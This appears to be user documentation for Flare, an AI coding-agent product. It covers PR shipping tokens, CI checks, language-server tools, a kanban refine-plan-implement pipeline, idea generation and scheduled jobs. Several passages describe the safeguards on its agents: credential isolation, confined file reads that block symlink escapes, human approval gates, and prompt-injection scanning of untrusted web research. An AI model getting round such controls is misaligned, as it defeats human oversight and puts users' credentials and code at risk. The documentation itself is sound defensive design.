**Least privilege, if you want it** — the login `gh` inherits is typically a classic token that can reach **every repository you can**, where opening a PR needs contents and pull-request write on the ones you ship from. **Settings → Integrations → GitHub token for Ship as PR** takes a fine-grained PAT or GitHub App token instead. It is held sealed in the settings vault (never written to the settings file), masked wherever Flare prints it, and handed **only** to the `gh` child that opens the PR — it is never in Flare's own environment, so no agent process can read it back, and it outranks an ambient `GH_TOKEN` a CI runner might have set.

It is offered rather than adopted, because the trade runs both ways: setting it means Flare now **holds** a shipping credential, which is a liability the default does not have. If you prefer that Flare hold nothing, leave it unset. The token is **global to the install**, not per project — the vault is one file per install — so choose one covering the repositories you ship from.

![A card in review: its diff, Request changes, Accept Merge to main and Ship as PR](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/card-inspector-review.png)

### Check CI and Fix CI

**What it does** — Once a card is shipped, its Changes tab shows **Check CI** under the PR link. It reads the pull request's checks through `gh` and shows a verdict ("CI green", "CI failing", "CI running", "No CI checks reported"), a table of each check with a link, and the review bots' comments. When CI is failing, **Fix CI** turns the failure into work: on a card still in review it becomes the card's next revision round, on the same branch; on a merged card it adds a new Backlog card titled "Fix CI: <title>" for you to approve and start. That card is a fork of the merged one: its description is the CI failure, its plan is left empty for refining to write afresh, and its Overview says "Forked from card <id> at trace step N". Once a verdict is shown the button reads **Re-check CI**. Fix CI refuses when nothing is failing, or when the failing checks were cancelled rather than failed (re-run those on GitHub).

**When CI starts failing** — You don't have to keep pressing Check CI. While a card waits in review on an open pull request, Flare reads its checks every five minutes. When a check starts failing, the card gets a **CI failing** badge on the board and you get one notification naming the checks; clicking it opens the card. The card's Changes tab then shows which checks failed and offers **Fix CI** straight away. A check that stays red does not notify again; one that goes green and later fails again does. Cancelled checks never notify, since Fix CI can't act on them. Flare only tells you: nothing starts a run until you press Fix CI.

**Configuration** — Which bots' comments are shown is the hidden `fleet.ciBots`. The failing-CI notice is **Settings → Integrations → Tell me when a shipped pull request's CI fails** (`fleet.ciAlerts`, on by default, can be set per project); turning it off stops the reads. Needs the same `gh` setup as Ship as PR.


## Code Intelligence & Language Servers

Every other feature assumes the agent can find its way around your codebase. This page covers the four ways it does: a real language server for compiler-grade answers, a regex file search, a ranked dependency map, and an optional semantic index.

### Per-edit diagnostics from a language server

**What it does** — Every time the agent writes a file, the language server that owns that file type re-analyses it and the findings ride back on the edit's own tool result — `src/thing.ts:42:9 error: Property 'id' does not exist on type 'User' [ts]`. The agent learns it broke something in the same turn it broke it, while it still holds the context that explains why, instead of finding out later from a whole-project typecheck.

**Where to find it** — Off unless configured. Create `.flare/lsp.json` in the workspace:

```json
{
  "servers": [
    { "extensions": [".ts", ".tsx"], "command": "typescript-language-server", "args": ["--stdio"] },
    { "extensions": [".py"], "command": "pyright-langserver", "args": ["--stdio"] }
  ]
}
```

Spawning a language server runs a program with your privileges, so — exactly like `flare.mcp.json` and `.flare/hooks.json` — the file is only read in a **trusted** workspace. A language server also runs the project's own code (tsserver plugins, build scripts, proc macros), and it runs on the host, so on a confining sandbox tier (`os`, `container`, `sandbox-runtime`) Flare starts none and says so in the server log: diagnostics and the navigation tools below are a `local`-tier feature. A hosted server starts none either, nor does a project whose cards run in a sandbox. An absent, unreadable, or malformed config means the feature is simply off, and an entry without a `command` or any `extensions` is skipped; it is never a failed boot. An entry may also set `languageId`; extensions are matched with or without the leading dot, in any case. The hidden `lsp.startTimeoutMs` (default 10 s), `lsp.requestTimeoutMs` (20 s; a cold TypeScript server on a large monorepo needs more) and `lsp.diagnosticsWaitMs` (how long an edit waits for findings, 3 s) tune it.

**How it works** — A `LspManager` starts one server per configured command, lazily, on the first file that needs it, and keeps documents in sync as the agent edits them. The server gets the same credential-free environment as other children. One that stops is restarted, up to three times in ten minutes; after that Flare gives up on it until the engine restarts and logs why. The diagnostics ride a **tool middleware** (the same seam plugins use), not a change to the agent loop. Three deliberate restraints keep the feature from costing more than it gives: a clean edit's result is left untouched (an empty findings list appended to every successful write is a line the model reads forever), a failed edit is not analysed (the file still holds what it held before, so the findings would describe the old file), and a dead language server never turns a successful edit into a failed one. At most 12 findings reach the model per edit, errors first — past a handful they stop being a signal and become the turn.

### Semantic navigation — `lsp_definition`, `lsp_references`, `lsp_rename`, `lsp_symbols`

**What it does** — Gives the agent the four questions a compiler can answer and a text search cannot: where is this symbol _defined_, where is it _used_, what would a _rename_ touch, and what symbols does this file declare. This is the pull half of the same language-server connection — it kills the grep-miss refactor class, where a rename found by text search silently skips a re-exported alias and a "find usages" done with a pattern cannot tell a comment from a call.

**Where to find it** — All four tools appear in a run's tool list whenever `.flare/lsp.json` configures a language server; a call on a file no server handles returns an error saying so. Positions are 1-based line/column, the way a human reads an editor.

**How it works** — All four are **read-only**, `lsp_rename` included: it returns a _plan_ of the edits a rename implies rather than performing them, so the change still arrives through the normal edit tools, the change tracker, and the diff review — a tool that rewrote fifty files behind the review pane's back would be a hole in the review gate. Results are capped at 200 locations, and when the cap bites, the true total comes back alongside ("200 shown of 2,000" is a different fact from "200 references", and only one of them says to narrow the search). "No language server configured" and "the server errored" are reported as _errors_, never as an empty result — an empty answer would read as a fact about your code rather than about the tooling.

Both paths that hand a file to a language server — these four tools and the per-edit diagnostics above — read the file through the same **confined** reader as `read_file`: the path is realpath-checked (not just lexically resolved), non-regular files are refused, credential files are refused by name, and the read is size-gated. That matters because the path is model-supplied and the text is shipped to a third-party process: a symlink _inside_ the repo pointing somewhere outside it must not be refused to `read_file` and then read through `lsp_definition`. The realpath check does reject a dependency linked to somewhere outside the repo (`pnpm link --global`, a `file:../../elsewhere` dep) — measured on this repo, an ordinary pnpm workspace links to `packages/*` and a fleet worktree links inside itself, so neither hits it; the deliberate out-of-tree case gets a clear refusal rather than a hole, because nothing on disk can tell a linked dependency from an attacker's symlink.

### Regex file search — `search_files`

**What it does** — Searches the workspace's file contents and returns `path` / `line` / `text`. The pattern is a real regular expression, so several related terms batch into **one** call with alternation (`useEffect|useLayoutEffect|useMemo`) instead of one round trip each.

**How it works** — A substring-only search makes a batched `a|b|c` search return a confident zero, and the agent falls back to one term per call. (Measured on one board card: 216 seconds and ~19K output tokens spent on searches that could not match.) So the pattern is compiled as a regular expression, with three fallbacks to a literal substring search, because the caller is a model rather than a regex author: an **invalid** pattern (`foo(bar`) is far likelier to be a typo than an intentional open group, so it degrades instead of throwing; and a pattern with a **nested quantifier** (`(a+)+`, `(\s*)*`) is never compiled at all — workspace contents are agent-controlled, so a catastrophically backtracking regex is a way for a run to hang the server on its own files; and a pattern with a backreference or a lookaround (`\1`, `(?=…)`) is searched literally too. Any other pattern that backtracks too far is re-run on V8's linear-time regex engine rather than stalling the server. A pattern with no metacharacters takes the literal path unchanged, which is the overwhelmingly common case. A search returns at most 500 hits, and one whose hits span more than 20 files collapses to per-file counts (the top 100 files) with a note to narrow the pattern, rather than flooding the context. It skips dependency, build and tool folders (`node_modules`, `.git`, `.flare`, `dist`, `build`, `coverage`, `.venv` and the like), credential files, binary files and files over 10 MB, and clips each matched line at 500 characters.

### The rest of the toolkit

Two more code-intelligence surfaces have their own homes in this guide:

- **[Codemap](#codemap)** — the ranked, dependency-aware map of the repo that backs the `repo_map` tool and the `@Repo` mention, viewable in the GUI exactly as the agent receives it.
- **[Semantic codebase search](#semantic-codebase-search)** — an opt-in embedding index behind a `codebase_search` tool, for finding code by what it _does_ rather than what it is called.


## Backlog Board & Autonomous Pipeline

The Board turns a one-line task into reviewed, merged code. You queue cards on a kanban board, **Refine** them, press **→ Approve** once a plan is ready, then **Start** — an agent implements the plan inside a throwaway git worktree, landing the result in a review lane where nothing reaches your main branch without your explicit approval. Every step is captured in the card's event-sourced session, so you can replay exactly what the agent did long after it's gone.

### The kanban board

**What it does** — Shows every backlog card across five lanes: **Backlog** (raw ideas), **Approved** (vetted, ready to dispatch), **Active** (an agent is working), **Verify** (finished work awaiting your review), and **Done**. Each card carries live badges: its pipeline stage (**Queued** / **Refining** / **Planning** / **Implementing** / **Review** / **Failed** / **Done**), a plan-progress counter (e.g. `2/5` steps done), an estimated cost chip (the model spend of every session the card ran: refine and plan, implement, earlier attempts; plus, in a sandbox project, the box spend of its current worktree), and — while in Verify — a **Fix before merge** badge (verify failed or a security finding; distinct from the dependency **Blocked** badge) or a **Caution** badge (the AI reviewer left non-security findings); a clean or unverified card shows no confidence badge. A Verify card also gets a **Conflicts with main** warning when a dry-run merge of the card's branch reports conflicts — that card's button becomes **Resolve conflicts**. On a hosted server, a card whose run stopped because its person's Claude is not connected shows **Waiting on <name>'s Claude** (see [Connect Claude](#connect-claude)).

**Where to find it** — Click **Board** in the top navigation, or open `/p/p_2449f1b1/board` directly (a bare project URL redirects here). The command palette (⌘K) also has "Go to Board".

**How to use it** — Press **→ Approve** on a refined Backlog card (one with a description and a plan) to promote it to **Approved**. Drag within a lane to reorder. Pressing Refine (or Re-refine, or answering a card's questions) moves the card to the top of Backlog; it stays there after refining ends, and you can drag it anywhere. Active and Done cards are managed by the pipeline; the Verify lane is read-only — cards flow into it only via the pipeline. The Done lane lists the most recently finished card first. An Approved card's **← Backlog** button sends it back. Click any card to open its inspector.

**Card numbers and links** — Every card carries a number, unique on its board (one to six digits), shown as a `#42` chip on the card and as a badge before the title in its inspector. Opening a card puts that number in the address — `/p/p_2449f1b1/board/42` — so the link opens the same card for anyone who can see the project, and closing it returns to `/board`. Click the badge in the inspector to copy the link; a toast confirms it. A number is never given out twice: deleting a card, the newest included, leaves its number spent, so an old link to it says the card is gone rather than opening a newer one. A board saved before numbers existed is numbered in creation order the first time it loads; a link naming a number the board does not hold says so above the board.

**The inspector** — **Overview** opens on the **Original request** (what was typed when the card was added, before refining rewrote it, with a thumbnail of each attached image that opens it full size, and below them the card's category — the same tinted chip as the title row), then on a hosted server **People** — who created, started, approved, shipped or stopped the card, each with when they did it — then the card's status. The **Plan** tab holds the **Refined description** and the **Plan of action**, both open, each taking half the tab's height and scrolling on its own. The description box is tinted a faint blue and the plan box a darker violet, each with a matching border and heading. **Trace**, **Receipt**, **Changes** and **History** follow (see [Card inspector](#card-inspector)).

**How it works** — The server tells the board when it changes: every save of the board sends a `board.changed` signal on the project event stream each tab already holds, and the board and the agent list read themselves again at once. The board still checks in every 20 seconds as a safety net (and every 3 seconds while a card is running, since a run's cost and progress move without a save), the agent list likewise while an agent is busy, and the project list every 20 seconds unless a project is cloning. Badges like plan progress, cost, and confidence are folds and projections computed server-side over each card's event log, so they survive server restarts and stay correct even after the live agent is gone. A poll carries only what the lanes show: each card's description and plan arrive as just their open decisions (what the badges and phases read), and the inspector reads a card's whole text when it opens, and again when it changes. A poll of a board that has not changed is answered with an empty `304`. Cards persist in the project's event store (see [Where the board lives](#where-the-board-lives)). Direction-changing and zero-width characters in text a model wrote — card titles, errors, questions, plan steps, merge refusals, CI check names — show as `<U+…>` rather than hiding what follows them.

![The kanban board with cards in each lane: a card waiting on answers, an approved card, failed cards and a card in review](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/board.png)

### Archived cards

**What it does** — Keeps the board short. A card that has been **Done** for 30 days moves off the board, when a trusted project next loads, into the board's archive in the project's store. It keeps its number, which is never handed out again; a card still waited on by a card on the board stays until that one is done too. Its sessions then leave the store for the project's [session archive](#session-archive), and still open from there.

**Where to find it** — **Show archived** in the Done lane's header (on a phone too), which appears once the project has archived cards, lists the archived cards under the lane, newest number first, and **Hide archived** folds them away; clicking one opens it read-only, with its description and plan. A card's address (`/p/<project>/board/<number>`) opens an archived card the same way.

**Configuration** — The hidden `fleet.archiveDoneAfterDays` (default `30`; `0` never archives). The board carries a `version`: a board a newer Flare wrote is refused rather than saved over. An export carries archived cards inside its board, and the imported project archives them again on its first load.

![The Done lane with Show archived open, listing an archived card under the lane](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/board-archived.png)

### Where the board lives

**What it does** — Keeps the board in the project's event store (`.flare/flare.sqlite`), as rows: the cards in order, the archive, the card counter, and a log of what happened to each card (created, changed and which fields, removed, archived). The card inspector's [History tab](#card-inspector) and the SDK's `getCardHistory` (`GET /projects/:id/backlog/:cardId/history`) read that log.

**How it works** — The log also holds what each gate decided, written by the gate as it decides: verify (passed, failed, could not run, not configured, waived by a person, or not run because the merge was already on the target), the secret scan (passed, refused or overridden, with how many findings and never their text) and the rubric (passed or failed, with its score and round; an empty diff, which nothing grades, is not recorded), each with whether it was for an approve or a ship. A pass is on the record too, so a landed card shows what was checked and what was skipped. A project whose board is still in the workspace files `.flare/backlog.json` and `.flare/backlog-archive/` has them taken into the store in one transaction on its first load; the files are then renamed with an `.imported` ending, kept and never deleted. A board that cannot be read is neither moved nor overwritten. An export carries the board as `backlog.json`, and an imported project takes it into its store on first load.

### Creating and managing cards

**What it does** — Adds work items as cards. Type a rough note and press Add: the card appears in Backlog **immediately** and the edit dialog opens with that note already in **Description**. Nothing runs until you press **Refine**.

**Where to find it** — The input at the top of the Board ("Add a task to the backlog").

**How to use it** —

1. Type what you want done — a sentence or a short paragraph is fine — and press Enter (or click **Add**). The card shows up in Backlog right away (the button may flash **Adding…** only for the save), showing the description until a title is generated. The edit dialog opens with **Description** filled and **Title** blank so you can attach images or tweak the note before anything runs.
2. Press **Refine** (the primary button in that dialog) to generate a title and start the investigation. A **refining** then **planning** badge appears while the agent works. If a **failed** badge appears, the investigation was interrupted (a `pnpm dev` restart kills in-flight runs — use `pnpm dev:stable` while cards prepare). What to do next depends on how far it got: a card with **no plan yet** offers **Refine** on the board, which picks up at the stage that did not finish; a card that already has a description and plan is simply ready — press **→ Approve**, or open it and press **Re-refine** (see [Reviewing and editing the plan](#reviewing-and-editing-the-plan)) if you want the investigation redone from scratch.
3. Click the card to reopen the edit dialog until prepare has started — that's where you attach images and edit the description. Once prepare has started, click opens the inspector, whose **Plan** tab is where **Refined description** and **Plan of action** land — and where you can [correct that plan or ask for a new one](#reviewing-and-editing-the-plan) before approving it. **Save** keeps your edits without starting that pass.
4. Click **✕** on any card to delete it — a confirmation modal guards the action, and deleting a started card also discards its agent's worktree and branch so nothing leaks.
5. Use the **↗** icon button on a card in the Verify lane to download its full session transcript as a Markdown file (while the card's agent is still live).

**How it works** — Add never waits on a model. The card is created with a squeezed fallback title (hidden on the board) and your own words as the brief. **Refine** then polishes the title and spawns a read-only agent (same Claude subscription as everything else) to run the pipeline's **refine → plan** stages — investigate the workspace, write a self-contained spec, then a concrete plan of action. It does **not** implement: promoting to Approved and pressing **Start** is still the human gate that authorizes edits. Start resumes at implement when description and plan already sit on the card. Prepare uses the same cheap-path credential as compaction (the Claude connection / env key); if you're not signed in, Refine still saves, it just isn't investigated. Title polish only renames the card if you haven't already.

#### Description and image attachments

**What it does** — Gives a card the context a one-line title can't carry. The **Description** is your paragraph of intent (filled from Add, then yours to edit), which the refine stage treats as the authoritative spec instead of re-deriving requirements from the title. **Images** attach screenshots or mockups to that description — a picture of the bug, or of the result you want — and the agent actually sees them.

**Where to find it** — The "Edit card" dialog, which a **blank** Backlog card opens on click (and which Add opens automatically): **Title**, **Category**, **Description**, then **Images** beneath it and **Waits for** last. Once prepare has started, click opens the inspector instead.

**How to use it** —

1. Click a Backlog-lane card, or press Add — the edit dialog opens with Description already filled.
2. Tweak the description — what should happen, and any constraints the agent should honor. Leave Title blank if you want Refine to name the card.
3. Press **Refine** (sparkle icon, the filled primary button) to have an agent generate a title, investigate the codebase, and write a plan from this description plus any images. **Save** keeps your edits without starting that pass.
4. Add images three ways: click **Attach images**, paste straight into the description, or drop files onto the description area (it highlights while you drag).
5. Removing an image is the **✕** on its chip; **Save** commits the whole edit at once (Enter in the title, or Ctrl/⌘+Enter in the description, also saves). Save stays disabled until something actually changed.

**How it works** — Images ride the **refine** stage as vision input, so the words and the picture they refer to reach the model together, and the prompt tells the agent to write down whatever the image establishes (exact copy, layout, the element at fault) — because plan and implement only ever see refine's text output, never the image itself. PNG, JPEG, WebP and GIF are accepted, up to 8 images and 5 MB each (15 MB total) per card; the same caps are enforced again server-side, so an oversized or non-image payload is rejected rather than trusted. The bytes are stored under the project's `.flare/card-attachments/`, and only metadata (name, type, size) lives on the card — the board list is polled, so a base64 payload there would be re-sent on every poll. Deleting an image deletes its file; deleting the card deletes them all. Reopening the edit dialog fetches each already-saved image's bytes on demand (one request per kept image, only while the dialog is open) and renders it as a real thumbnail; a chip showing just the file type is the brief fallback while that fetch is in flight, or if it fails.

#### Card categories

**What it does** — Says what kind of change a card is — **Feature**, **Bug**, **Refactor**, **Performance**, **Dependencies**, **Docs**, **Tests** or **Chore** — and names its branch after it. A card's branch is `<category>/<number>-<title slug>` (for example `bug/42-fix-the-upload-retry`), and a pull request it ships is titled `[FLR-42] <title>`, never `#42`, which GitHub would link to the repository's own issue 42.

**Where to find it** — The **Category** field in the "Edit card" dialog, below **Title**. The category shows as a tinted dot on the card face and as a chip under the **Original request** in the inspector.

**How it works** — Left on **Let refine choose**, the refine stage picks one and writes it on the card. A card started before it has a category gets one guessed from its title. A branch name made from a title that carries a secret, one git refuses, or one that clashes with an existing branch (or one it would nest under, or that nests under it; in any letter case on Windows and macOS) falls back to a generated `dispatch-<tag>-<n>` name.

#### Reviewing and editing the plan

**What it does** — Makes the plan of action something you can act on. `→ Approve` refuses to promote a card until Refine has written a description **and** a plan, so the plan is the thing you are authorizing. Plain Refine on a prepared card does nothing (the pipeline treats a finished stage as a durable result and skips it), so the inspector lets you **correct the plan in place**, or **throw it away and re-investigate**.

**Where to find it** — The **Plan of action** section on the inspector's **Plan** tab.

**How to use it** —

1. Click a prepared card to open the inspector and switch to its **Plan** tab.
2. **Edit plan** turns the rendered plan into a text box. Fix a wrong file path, drop a step you don't want, add a constraint the investigation missed. **Save** (or Ctrl/⌘+Enter) commits it; **Cancel** discards the draft. Save stays disabled until you've actually changed something, and a blank plan is refused — it's the input `→ Approve` reads.
3. **Re-refine** discards BOTH the refined description and the plan, then investigates again from your own Description. Use it when the whole approach is wrong rather than one step — if only a step is wrong, edit the plan instead and keep the investigation you already paid for.
4. Once a plan carries your edits it is marked **Edited by you**, and **Re-refine** becomes a two-step: the button turns red and reads "Confirm: discard description + plan". Discarding the agent's own draft takes one click; discarding your typing takes two.
5. Both controls disappear while a pipeline pass is running — refine, planning and implement write that field themselves, so an edit made then would be silently overwritten. Stop an implementing card first; a card being refined cannot be stopped from the board, so wait for refining to finish.
6. They also disappear once the card reaches **Verify** or **Done**: implement is past and **Request changes** works from the message you type, not from the plan, so an edit there would look like it steers the next round while changing nothing. Editing is offered exactly where the plan is still an input — Backlog (the approve gate reads it), Approved (Start implements from it), and a failed card (Retry implements from it in a new worktree).
7. If you press Escape or ✕ with unsaved plan edits, the inspector warns and stays open; press again to discard them.

**How it works** — The edit is an additive `plan` field on the card-update route, re-validated server-side rather than trusted from the browser; a save refused by the server keeps your draft on screen with the reason, instead of closing and losing it. The same "does this plan still drive work" rule is enforced on the route, not just in the UI, so the buttons vanishing and the save being refused can never disagree. Re-refine passes an explicit `regenerate` flag that clears the description and plan **at the moment the new agent is dispatched** — never earlier, so a failed dispatch can't destroy a plan for a pass that never ran. The crash-resume behaviour everything else relies on is untouched: without that flag, Refine and Retry still pick up at the first unfinished stage rather than re-burning investigation the card already paid for. Re-refine is offered on Backlog cards only, and refused server-side once a card is approved — blanking the plan after the gate accepted it would leave the card in exactly the state the gate exists to prevent.

#### Decisions only you can make

**What it does** — Asks you the questions the agent has itself judged are not its to answer, **before** a plan is built on a guess about them.

A refine pass ends with unknowns, and they are not all the same kind. Some the implementer can settle by reading more code. Others cannot be settled by reading anything — a default value, an on/off posture, how destructive a new behaviour may be — because the answer is a preference, not a fact about the codebase. Refine files the second kind under a **`## Decisions needed`** heading, each with why it matters and the answer it would recommend. If there are any, **Refine stops there**: no plan is written, the card reads **Answer N questions**, and a notification says so. You answer in a dialog, and only then is the plan written — built on your answers rather than hedged around them.

A question can still surface late: planning, or the plan critic, may find one the description missed, or notice that two of your answers contradict each other. Those land in the plan's own `## Decisions needed` section, and `→ Approve` refuses the card while any entry still reads `STATUS: UNRESOLVED`, quoting the question.

**Why it works this way** — A plan stage left to answer a preference question itself can pick, deep inside a long plan, the default that makes the whole feature inert — every test passes, and the person who approves the plan by reading a diff never sees the question.

Pipeline agents cannot use the `ask_user` tool — an unattended run would park forever waiting for an answer nobody is watching for — so the question has to travel as text to the one gate a human always passes through.

**How to use it**

1. Press **Refine**. If refining raises questions, the card's button becomes **Answer N questions** and — when the Flare tab is in the background — a desktop notification arrives. Clicking the notification brings you to the board with that card's questions already open.
2. Each question shows **why it matters** and the **recommended** answer. **Use this** copies the recommendation into your answer for you to keep or edit; it never submits on its own.
3. **Answer & plan** is enabled once every question has an answer. It writes your answers into the refined description (`STATUS: RESOLVED` plus `Answer:`) and starts planning at once. **Later** closes the dialog; the card keeps waiting, and the same button (or **Answer them** in the card's inspector) reopens it.
4. A question raised late sits in the plan instead, and the card's button reads **Answer N decisions**: open the card's **Plan** tab, press **Edit plan**, and replace its `STATUS: UNRESOLVED` line with your answer. Save, then `→ Approve`.

![The Refining raised 2 questions dialog: why each matters, a recommended answer with Use this, Later and Answer & plan](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/answer-questions.png)

**How it works** — The stop is in the pipeline, not the UI: after refine, a Refine pass whose description still holds an unresolved decision returns without planning, and the card's phase becomes `needs-answers` — which `→ Approve` refuses by name. The answers route re-reads the card's questions and refuses (409) if they are not the ones you answered, so a re-refine that happened while the dialog was open cannot receive answers to someone else's questions. A **Start** on a card that was never refined still runs straight through, as it always has; the planner then carries any unresolved decision into the plan for the approve gate.

**Related** — The plan is also required to end with a **`## Verification after merge`** section: the steps a person takes to _see_ the change working in the configuration that actually ships, not the one the tests construct. A plan that cannot name those steps, because what it describes is off by default or behind a flag nobody sets, has to say so — and that is itself a decision. This is the check that catches a feature which is built, tested, merged, and does nothing.

### Ideas — what to build or fix next

**What it does** — Suggests where the project could go next and lets you put the suggestions you like on the Board. One button runs a read-only agent over the codebase, looks up similar products on the web, and writes six to ten ideas: new features (above all ones comparable tools have and this one lacks), UX, refactors, performance, security, tests and developer experience. Each idea has a one-line pitch, two or three paragraphs on what it is, how it would work here and what it changes, a category, an impact and effort estimate, and the products that inspired it.

**Where to find it** — **Ideas** in the project's top bar, or `/p/p_2449f1b1/ideas`. The command palette (⌘K) has "Go to Ideas".

**How to use it** —

1. Whenever there are no ideas (before the first run, or once every idea has been deleted), the page explains what the tool does and offers **Generate ideas**. A run takes a few minutes; the page shows which of its three steps (read the codebase, research similar products, write ideas) is running, and **Stop** ends it. You can leave the page: the run carries on.
2. Afterwards the page lists every idea you kept, newest first; ideas already on the Board sit below the rest on a soft green background, and one you move during a visit keeps its place until you next open the page. Archived ideas (step 4) sink to the very bottom, below those on the Board, on a neutral grey background with an "Archived" marker. The page has **Generate more ideas** at the top and a filter by category. **Read more** opens an idea's paragraphs.
3. **Move to Board** puts the idea in the Board's Backlog lane as an ordinary card — titled after the idea, its pitch and paragraphs as the description — neither refined nor planned. The description opens with a line saying Flare wrote it, not a person: while that line stays first, Refine reads the description as a suggestion from untrusted web research, never as your spec, and writes its own grounded in the code. Delete the line to make the description yours. The idea then reads "On the Board, in Backlog" (following the card's lane) with an **Open Board** link. Delete the card and the idea can be moved again. Move to Board is offered only on ideas that are not archived: restore an archived idea to move it.
4. The **archive icon** (a box with a lid, beside ✕) sets an idea aside without deleting it, after a confirmation that says what will happen. The idea stays in the list, drops to the bottom with a grey tint and an "Archived" marker, and the icon becomes **Restore**, which puts it back in its normal place with no confirmation. An archived idea offers only **Restore** and **✕**. Later runs are told to leave archived ideas out. Archiving is for ideas you have decided not to work on, so it is unavailable while the idea is on the Board, whatever the card's status (done included); the icon is dimmed and its hover text says why. Delete the card and the idea can be archived again. An idea that an older build let be both archived and moved to the Board keeps its marker, reads "On the Board", and can still be restored.
5. **✕** deletes an idea for good, after a confirmation. A later run may suggest it again.

![The Ideas page before the first run, with its three steps and Generate ideas](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/ideas.png)

**How it works** — A generation is one session, owned by the board and readable in the Workbench, on an engine of its own that is **read-only whatever the project's mode**: it reads the code, edits nothing and runs nothing. First the agent surveys the project into a structured summary: what the product is, the features it has, the weak spots it saw, and a few web search queries. Next, a separate model call researches similar products with **Anthropic's server-side web search**, seeing only that summary and those queries, never the code; Flare itself fetches no URL a model wrote. Finally the same session, which still holds what it read, writes the ideas with the research tagged as untrusted and scanned for prompt injection like any untrusted tool output (a warning beside it and a server log line, or left out when `safety.injectionAction` is `block`), and is told every idea still listed, every archived idea (in its own "set aside" section, so a long list can never push them out) and every card on the Board so it does not repeat them. Before anything is saved, each idea is secret-masked, and any that duplicates a listed or archived idea (same or nearly the same title) is dropped and counted. The server enforces the Board rules too, for the SDK and MCP as well: archiving an idea whose card still exists, or one that is being moved, is refused (409), and so is moving an archived idea to the Board. An archived idea keeps an `archivedAt` time in `.flare/ideas.json`; an older build that rewrites the file would drop it. Both runs carry the refine stage's model and effort (the hidden `fleet.planModel` and `fleet.refineEffort`), their usage is billed to the session, and their spend counts toward the capture spend ceiling. One generation runs per project at a time. Ideas persist in the workspace file `.flare/ideas.json`; an untrusted project lists none and cannot generate, and a file that cannot be read is reported on the page and never overwritten. The file is kept under 3 MB, below the 4 MB Flare reads back: once there, anything that would grow it (generating, archiving, moving to the Board) is refused until you delete some ideas, which always works. A generation in flight counts as work: idle eviction and the dev-server restart guard leave its project alone, and closing a project waits for the run to let go.

**Limits** — The search runs on Anthropic's side, but where you have narrowed web access Flare takes that to cover it too: web research is skipped, and the page says why, while **Safety → Ask before every web request** is on (nobody is there to answer the asks), while a permission rule asks about or denies a web tool, or while the fetch connector is turned off or the fetch or browser connector allows only listed hosts. A failed search (web search turned off for your Anthropic organization, say) is reported and the ideas are written without it. Searches are priced into the cost figures at Anthropic's $10 per 1,000 (a search that fails is not billed, and not counted); there are at most six per run. The search uses the basic tool version: the newer ones filter results by running code on Anthropic's side.

### Scheduled jobs — maintenance that runs on its own

**What it does** — Runs recurring maintenance for a project without anyone pressing a button: update the dependencies every Monday, refresh the skills once a month. Each run works in a fresh worktree of its own, in `auto`, and ends by opening a **pull request**. That pull request is the gate: nothing merges until a person merges it on GitHub. Jobs are not cards and never appear on the Board.

**Where to find it** — **Jobs** in the project's top bar, or `/p/p_2449f1b1/schedule`. The command palette (⌘K) has "Go to Scheduled jobs". Each run is an ordinary session in the Workbench, tagged **Job**.

**How to use it** —

1. **New job** opens a form: a name, what the job should do (the agent reads it as its task), how often it repeats (every hour at a minute, every day, every week on a weekday, or every month on day 1 to 28, at a time) and the time zone those times are in, which starts as your browser's. **Run on this schedule** turns the job on or off.
2. The page lists each job with its schedule, its next run, and its last five runs: **Opened a pull request** with a link to it (a draft when verify failed), **Nothing to change** with what the agent found, **Skipped** with the reason, **Failed** with why, or **Stopped**. **Session** opens a run's session in the Workbench.
3. **Run now** starts a run at once without moving the schedule; **Stop** ends one that is running. **Edit**, **Turn off** / **Turn on** and **Delete** (after a confirmation; pull requests stay on GitHub) manage the job.

**How it works** — A server-wide timer checks every project's jobs once a minute, whether or not anyone has the project open, and opens a project when one of its jobs is due. A run spawns a worktree (a box, for a project whose cards run in a sandbox) whose session is owned by the schedule, gives the agent the job's description with an instruction to change files but not commit, and runs it in `auto` under the card cost ceiling (`fleet.maxCardCostUsd`). If nothing changed, the run ends as **Nothing to change**. Otherwise it ships the way a card's Ship does: it runs the project's verify command (in a clean box for a sandbox project), scans everything that would ship for secrets, commits onto exactly what the scan read, pushes that commit and opens the pull request, titled `[Job] <name>` with the agent's summary as its description. A secret-scan finding, or a file the scan cannot read, opens no pull request and fails the run (no one is there to override it). A failing verify still opens the pull request, as a draft that says so. The worktree or box is removed when the run ends. Every protected path, deny rule and risky-command ask holds as it does for a card; an ask waits for a person, and the project's approval queue and notifications show it.

A job runs one at a time, and never while the pull request from its last run is still open: that run is **Skipped**, saying which pull request to merge or close. A pull request Flare cannot read (a GitHub outage, a lapsed token) counts as still open, so a failed read never piles them up. A run the server was down for runs once when it comes back, never more, and a run a restart cut short is marked **Interrupted** and its worktree removed. A run that opens a pull request or fails notifies you like a card does. A job runs only when the project is trusted, its origin is a GitHub repository, its permission rules can be read and its cards could run (the page says which of these is missing). On a hosted Flare a maintainer creates jobs, and each scheduled run pays with **the Claude of the person who last created or edited the job**, so no one can hand someone else's Claude a task; it is skipped, with the reason, while that person's Claude is not connected or they can no longer run work in the project, and a run already going stops when they lose access (and pushes nothing if access goes while it works). **Run now** pays with the Claude of the person who pressed it.

Jobs live in Flare's own home (`~/.flare/schedule/<project id>.json`), never in the repository, so a cloned repository cannot bring jobs of its own. A local Flare runs jobs only while it is running; a hosted one runs them all the time.

**Limits** — A run that a person must approve waits as long as a card would (`budget.approvalTimeoutMs` bounds it). Each job keeps its last 20 runs. A project holds at most 50 jobs.

### Start: the refine → plan → implement pipeline

**What it does** — Dispatches an autonomous agent for a card and runs a three-stage pipeline: **refine** (the agent investigates the codebase and expands your description into a self-contained item description with acceptance criteria), **plan** (an ordered list of steps naming files to touch and how to verify), and **implement** (the agent makes the edits and verifies its work). The card then lands in the Verify lane for human review. If Refine already prepared description + plan, Start **skips** refine and plan and goes straight to implement.

